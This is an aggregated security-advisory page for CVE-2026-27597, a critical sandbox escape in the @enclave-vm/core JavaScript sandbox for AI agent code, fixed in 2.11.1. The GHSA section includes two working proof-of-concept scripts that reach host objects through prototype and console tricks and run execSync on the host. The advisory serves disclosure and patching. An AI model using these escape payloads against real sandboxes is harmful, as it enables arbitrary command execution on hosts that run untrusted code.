Public mode

No access to your tenant or devices. Every item links to its source. What this means

Sources need attention Customize Public modeDiscuss ChangeIntel on Discord

@enclave-vm/core is vulnerable to Sandbox Escape

CVSS 3.1 10.0 CRITICALEUVD CVSS 3.1 10.0 CVSS 3.1 · [email protected] · Secondary 10.0 CRITICALCVSS_V3 Publisher rating CRITICALFixed by @enclave-vm/core 2.11.1KEV status unknown

cve-program · CVE-2026-27597

Published

Enclave is a secure JavaScript sandbox designed for safe AI agent code execution. Prior to version 2.11.1, it is possible to escape the security boundraries set by `@enclave-vm/core`, which can be used to achieve remote code execution (RCE). The issue has been fixed in version 2.11.1.

Read the publisher's advisory

euvd · EUVD-2026-8617

Published

Enclave is a secure JavaScript sandbox designed for safe AI agent code execution. Prior to version 2.11.1, it is possible to escape the security boundraries set by `@enclave-vm/core`, which can be used to achieve remote code execution (RCE). The issue has been fixed in version 2.11.1.

Read the publisher's advisory

nvd · CVE-2026-27597

Published

Enclave is a secure JavaScript sandbox designed for safe AI agent code execution. Prior to version 2.11.1, it is possible to escape the security boundraries set by `@enclave-vm/core`, which can be used to achieve remote code execution (RCE). The issue has been fixed in version 2.11.1.

Read the publisher's advisory

osv · GHSA-f229-3862-4942

Published

## Summary It is possible to escape the security boundraries set by `@enclave-vm/core`, which can be used to achieve remote code execution (RCE). The issue has been fixed in version **2.11.1**. --- ## Details It is possible to obtain the native `Object` constructor (instead of the `SafeObject` wrapper). This can be used to get retrieve property descriptors via `Object.getOwnPropertyDescriptors`, allowing access to properties otherwise restricted by the sandbox. When a memory limit is set (which is the default), `__host_memory_track__`, a host object, can be used to escape via the host function constructor. When this is not the case, a host reference can be obtained via Node's `nodejs.util.inspect.custom` symbol (which can be triggered, for example, through `console.log`). --- ## Proof of Concept ### PoC 1 ```js const { Enclave } = require("@enclave-vm/core"); const enclave = new Enclave({ securityLevel: "SECURE", toolHandler: () => {}, }); const result = enclave.run(` const op = {}[["__proto__"]]; const ho = op[["constructor"]]; const glob = ho.getOwnPropertyDescriptors(this); return { res: glob.__host_memory_track__.value[["constructor"]]("return process")() .getBuiltinModule("child_process") .execSync("id") .toString() .split("\\n"), };`); result .then((v) => console.log("success", v)) .catch((e) => console.log("failure", e)); ``` --- ### PoC 2 ```js const { Enclave } = require("@enclave-vm/core"); const enclave = new Enclave({ securityLevel: "STRICT", toolHandler: () => {}, memoryLimit: 0, }); const result = enclave.run(` const op = {}[['__proto__']]; const ho = op[['constructor']]; const glob = ho.getOwnPropertyDescriptors(this); const sym = glob[['Symbol']].value.for('nodejs.util.inspect.custom'); let result; const obj = { [sym]: (depth, option, inspect) => { result = inspect[['constructor']] [['constructor']]('return process')() .getBuiltinModule('child_process') .execSync('id') .toString(); }, }; glob.__safe_console.value.log(obj); return { result } `); result .then((v) => console.log("success", v)) .catch((e) => console.log("failure", e)); ``` --- ## Impact This vulnerability allows a malicious actor executing untrusted code inside an Enclave instance to escape the sandbox and execute arbitrary commands on the host system. This constitutes **Remote Code Execution (RCE)** and should be considered **Critical severity**. --- ## Remediation The issue has been fixed in **v2.11.0** with the following hardening measures: * Strengthened intrinsic object isolation * Improved console isolation * Hardened host callback exposure paths * Closed AST validation gaps * Added additional defensive checks around constructor access and prototype traversal All known escape paths demonstrated in the PoCs are now blocked. Users are strongly advised to upgrade to **v2.11.1** or later immediately. --- ## Credit Enclave would like to thank **@c0rydoras** for responsibly reporting this issue and for providing detailed proof-of-concept examples.

Read the publisher's advisory

Affected versions, risk and source history

cve-program · CVE-2026-27597

Published

enclave

Vendor product

Publisher's version information

Shown as published. These rules are not interpreted as NuGet package version ranges.

{
                    "vendor": "agentfront",
                    "product": "enclave",
                    "versions": [
                        {
                            "version": "< 2.11.1",
                            "status": "affected"
                        }
                    ]
                }

Original source record · Cite this exact observation · Complete original publisher JSON

euvd · EUVD-2026-8617

Published

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Feb 25, 2026, 3:56:25 AM

dateUpdated: Feb 25, 2026, 9:13:32 PM

No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.

Original source record · Cite this exact observation · Complete original publisher JSON

nvd · CVE-2026-27597

Published

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Analyzed

Weakness classifications: CWE-94

Original publisher date fields

published: 2026-02-25T04:16:03.557

lastModified: 2026-06-17T10:27:21.953

1 source CPE criteria · context only
  • cpe:2.3:a:agentfront:enclave:*:*:*:*:*:node.js:*:*

The original JSON retains the logical configuration operators, exclusions and version bounds.

No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.

Original source record · Cite this exact observation · Complete original publisher JSON

osv · GHSA-f229-3862-4942

Published

@enclave-vm/core

npm

SEMVER · introduced 0 → fixed 2.11.1

Original source record · Cite this exact observation · Complete original publisher JSON

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 15 Nov 12:11 UTC · 256 of 275 readable · 252 fully read · documentation 469/469 current